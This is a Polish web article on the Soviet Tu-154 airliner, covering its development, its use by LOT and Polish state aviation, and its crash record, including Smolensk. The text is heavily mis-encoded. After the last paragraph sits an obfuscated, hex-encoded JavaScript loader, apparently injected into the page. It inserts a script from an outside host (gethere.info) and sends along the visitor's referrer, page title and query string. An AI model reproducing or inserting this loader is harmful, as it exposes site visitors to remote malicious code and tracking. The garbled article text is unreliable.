Samolot TU-154

Aswiat samolotA?w pasaA?erskich jest niezwykle szeroki oraz peA�en graczy. Z racji na bardzo wygA?rowane ambicje oraz prA?bA� pokazania swojej wyA?szoA�ci, jednym z nich chciaA� takA?e byA� i ZwiA�zek Radziecki. W odpowiedzi na amerykaA�skiego Boeinga 727 radzieckie zakA�ady Tupolewa zaprezentowaA�y odrzutowiec o oznaczeniu Tu-154.

Historia Tu-154 zaczyna siA� pod koniec lat 60-tych XX wieku. W paA?dzierniku 1968 roku w powietrze wzbija siA� pierwszy prototyp, a ostateczna wersja trafia do produkcji cztery lata pA?A?niej. Od samego poczA�tku specjaliA�ci podkreA�lali, A?e parametry techniczne Tu-154 sA� bardzo dobre. Konstrukcje oceniano zatem jako niezwykle udanA�. Z racji na uwarunkowania polityczne, odbiorcami TupolewA?w staje siA� gA�A?wnie Blok Wschodni oraz paA�stwa zaprzyjaA?nione ze ZwiA�zkiem Radzieckim. OczywiA�cie samoloty tego typu trafiajA� rA?wnieA? do Polski. Pod biaA�o-czerwonA� banderA� lataA�o 14 egzemplarzy. Gdy Polskie Linie Lotnicze LOT zaczA�A�y je wycofywaA� ze sA�uA?by, dwie maszyny trafiA�y do 36. Specjalnego PuA�ku Lotnictwa Transportowego i zaczA�A�y woziA� polskich oficjeli.

Aby nadA�A?yA� za rynkowymi realiami, inA?ynierowie nie mogli zapomnieA� o wprowadzaniu zmian do konstrukcji Tupolewa. Co kilka lat pewne rozwiA�zania techniczne byA�y zmieniane na rzecz bardziej efektywnych i nowoczesnych. W efekcie modyfikacji na rynku funkcjonujA� rA?A?ne wersje Tu-154.

PatrzA�c na Tupolewa 154 z perspektywy czasu moA?na mieA� dosyA� mieszane uczucia. OczywiA�cie jest on z pewnoA�ciA� o wiele lepszy od innych radzieckich samolotA?w pasaA?erskich. Nie ma nawet co porA?wnywaA� go z takimi konstrukcjami, jak Jak-40, czy An-24. Nie moA?na jednak zapomnieA� o ogromnej iloA�ci wypadkA?w i katastrof lotniczych. Na caA�ym A�wiecie odnotowano aA? 66 przypadkA?w, z ktA?rych 37 skoA�czyA�o siA� A�mierciA� pasaA?erA?w. Jednym z najbardziej sekularnych przykA�adA?w katastrofy Tu-154 jest rozbicie siA� samolotu pod SmoleA�skiem. Na pokA�adzie znajdowaA� siA� nie tylko Prezydent RP, ale takA?e dowA?dcy SiA� Zbrojnych RP oraz duA?a liczba polskich parlamentarzystA?w.var _0x31f1=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}